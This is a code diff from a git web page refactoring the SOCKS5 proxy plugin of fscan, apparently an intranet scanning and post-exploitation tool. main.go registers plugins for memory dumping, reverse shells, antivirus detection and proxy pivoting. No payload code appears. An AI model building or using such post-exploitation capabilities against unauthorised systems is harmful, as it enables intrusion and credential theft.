func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
||||||
// 从全局参数获取SOCKS5端口
|
// 从全局参数获取SOCKS5端口
|
||||||
port := common.Socks5ProxyPort
|
port := common.Socks5ProxyPort
|
||||||
@ -53,14 +40,12 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
|||||||
Protocols: []string{"local"},
|
Protocols: []string{"local"},
|
||||||
}
|
}
|
||||||
|
|
||||||
connector := NewSocks5ProxyConnector(port)
|
|
||||||
plugin := &Socks5ProxyPlugin{
|
plugin := &Socks5ProxyPlugin{
|
||||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||||
connector: connector,
|
|
||||||
port: port,
|
port: port,
|
||||||
}
|
}
|
||||||
|
|
||||||
// 设置支持的平台
|
// 设置支持的平台(支持Windows、Linux和macOS)
|
||||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
// 不需要特殊权限
|
// 不需要特殊权限
|
||||||
plugin.SetRequiresPrivileges(false)
|
plugin.SetRequiresPrivileges(false)
|
||||||
@ -68,44 +53,10 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
|||||||
return plugin
|
return plugin
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewSocks5ProxyConnector 创建SOCKS5代理连接器
|
// Initialize 初始化插件
|
||||||
func NewSocks5ProxyConnector(port int) *Socks5ProxyConnector {
|
func (p *Socks5ProxyPlugin) Initialize() error {
|
||||||
baseConnector, _ := local.NewBaseLocalConnector()
|
// 调用基类初始化
|
||||||
|
return p.BaseLocalPlugin.Initialize()
|
||||||
return &Socks5ProxyConnector{
|
|
||||||
BaseLocalConnector: baseConnector,
|
|
||||||
port: port,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Connect 建立SOCKS5代理连接
|
|
||||||
func (c *Socks5ProxyConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
|
||||||
// 先建立基础本地连接
|
|
||||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
baseConn := localConn.(*local.LocalConnection)
|
|
||||||
|
|
||||||
// 检查端口是否可用
|
|
||||||
testListener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", c.port))
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("端口 %d 不可用: %v", c.port, err)
|
|
||||||
}
|
|
||||||
testListener.Close() // 立即关闭测试监听器
|
|
||||||
|
|
||||||
socks5Conn := &Socks5ProxyConnection{
|
|
||||||
LocalConnection: baseConn,
|
|
||||||
Port: c.port,
|
|
||||||
}
|
|
||||||
|
|
||||||
return socks5Conn, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Close 关闭SOCKS5代理连接
|
|
||||||
func (c *Socks5ProxyConnector) Close(conn interface{}) error {
|
|
||||||
return c.BaseLocalConnector.Close(conn)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
@ -113,27 +64,15 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*b
|
|||||||
return p.ScanLocal(ctx, info)
|
return p.ScanLocal(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ScanLocal 执行SOCKS5代理扫描 - 启动代理服务器
|
// ScanLocal 执行SOCKS5代理扫描 - 简化版本
|
||||||
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
common.LogBase("启动SOCKS5代理服务器...")
|
common.LogBase("启动SOCKS5代理服务器...")
|
||||||
|
|
||||||
// 建立连接
|
|
||||||
conn, err := p.connector.Connect(ctx, info)
|
|
||||||
if err != nil {
|
|
||||||
return &base.ScanResult{
|
|
||||||
Success: false,
|
|
||||||
Error: fmt.Errorf("连接失败: %v", err),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
defer p.connector.Close(conn)
|
|
||||||
|
|
||||||
socks5Conn := conn.(*Socks5ProxyConnection)
|
|
||||||
|
|
||||||
// 启动SOCKS5代理服务器
|
// 启动SOCKS5代理服务器
|
||||||
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", socks5Conn.Port))
|
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port))
|
||||||
|
|
||||||
// 直接在当前goroutine中运行,这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
|
// 直接在当前goroutine中运行,这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
|
||||||
err = p.startSocks5Server(ctx, socks5Conn.Port)
|
err := p.startSocks5Server(ctx, p.port)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
|
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
|
||||||
return &base.ScanResult{
|
return &base.ScanResult{
|
||||||
@ -145,9 +84,9 @@ func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo
|
|||||||
result := &base.ScanResult{
|
result := &base.ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Service: "SOCKS5Proxy",
|
Service: "SOCKS5Proxy",
|
||||||
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", socks5Conn.Port, runtime.GOOS),
|
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
|
||||||
Extra: map[string]interface{}{
|
Extra: map[string]interface{}{
|
||||||
"port": socks5Conn.Port,
|
"port": p.port,
|
||||||
"platform": runtime.GOOS,
|
"platform": runtime.GOOS,
|
||||||
"protocol": "socks5",
|
"protocol": "socks5",
|
||||||
"status": "completed",
|
"status": "completed",
|
||||||
@ -402,8 +341,10 @@ func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostIn
|
|||||||
func (p *Socks5ProxyPlugin) GetInfo() string {
|
func (p *Socks5ProxyPlugin) GetInfo() string {
|
||||||
var info strings.Builder
|
var info strings.Builder
|
||||||
|
|
||||||
info.WriteString(fmt.Sprintf("SOCKS5代理插件 - 端口: %d\n", p.port))
|
info.WriteString("SOCKS5代理服务器插件\n")
|
||||||
|
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
|
||||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("功能: 提供本地SOCKS5代理服务,支持TCP连接转发\n")
|
||||||
info.WriteString("协议: SOCKS5,支持HTTP/HTTPS代理\n")
|
info.WriteString("协议: SOCKS5,支持HTTP/HTTPS代理\n")
|
||||||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||||
|
|
||||||
|
12
main.go
12
main.go
@ -8,12 +8,12 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/core"
|
"github.com/shadow1ng/fscan/core"
|
||||||
|
|
||||||
// 引入本地插件以触发注册
|
// 引入本地插件以触发注册
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
|
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 已重构,可用
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
|
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo" // 已重构,可用
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
|
_ "github.com/shadow1ng/fscan/plugins/local/minidump" // 已重构,可用
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell"
|
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy"
|
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/avdetect"
|
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
Loading…
Reference in New Issue
Block a user